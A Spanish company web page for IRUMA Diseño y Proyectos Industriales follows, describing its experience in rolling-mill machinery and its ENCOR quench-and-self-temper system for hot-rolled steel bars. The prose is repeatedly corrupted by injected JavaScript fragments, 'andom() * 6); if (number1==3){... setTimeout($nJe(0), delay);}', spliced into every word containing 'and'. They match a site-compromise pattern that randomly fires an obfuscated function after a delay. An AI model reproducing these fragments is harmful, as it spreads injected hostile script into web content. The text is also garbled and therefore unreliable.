IRUMA DISEÑO Y PROYECTOS INDUSTRIALES S.L.

Actividad

Bajo distintas denominaciones, IRUMA Diseño y Proyectos Industriales, S.L., tiene una experiencia acumulada desde el año 1966 en el sector siderúrgico, en proyecto y construcción de maquinaria auxiliar de laminación.

Siendo la calidad y compromiso constante con el cliente la clave de su éxito empresarial, IRUMA Diseño y Proyectos Industriales, S.L. recorre una larga trayectoría durante todos estos años convirtiéndose en una de las primeras compañías del sector de laminación en caliente del Estado.

IRUMA Diseño y Proyectos Industriales, S.L. trabaja abordandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando el proyecto de una manera especializada e individualizada en funció de las necesidades de cada cliente, poniendo a su disposición un equipo multidisciplinar altamente cualificado, para implantar soluciones a todo tipo de empresas y entidades del sector económico.

Productos

El Encor de IRUMA Diseño y Proyectos Industriales, S.L. es un sistema de enfriamiento por agua controlada por barras laminadas en caliente. Produce un temple y un revenido que somete la barra cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando abandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andona el tren de laminación en caliente.

El ciclo de tratamiento se realiza en 3 fases:

1. Enfriamiento rápido de la barra caliente laminada, en el momento preciso en el que la misma abandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andona la última caja acabadora.
2. Durante la segunda fase, la barra abandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andona la zona de enfriamiento energético y queda expuesta al aire. El corazón de la misma, que ha permanecido caliente durante la primera fase, recalienta la capa superficial por conducción. Como resultado, la barra se sometida a un auto-revenido que asegura la ductilidad del material, mantenido de un nivel elástico en un nivel elevado.
3. La tercera fase se produce durante el tiempo de permanencia de la barra en el enfriadero y consiste en una transformación de la estructura interna del núcleo de la misma, obteniédose para toda la barra una micro estructura de acero única y homogénea.

La barra que abandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andona la última caja del tren de laminación pasa a través de una sección especial refigerada que constituye el ENCOR . Una capa superficial de la barra es transformada en MARTENSITA permaneciendo el corazón AUSTENÍTICO .

Cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando la barra abandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andona el ENCOR el gradiente de temperatura que se establece en su sección transversal origina un flujo de calor hacia el exterior, provocandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando un auto-revenido de la MARTENSITA .

Finalmente durante el enfriamiento lento de la barra en las mesas de enfriamiento, el interior austenítico se transforma en FERRITA y PERLITA o en BAINITA , FERRITA y PERLITA .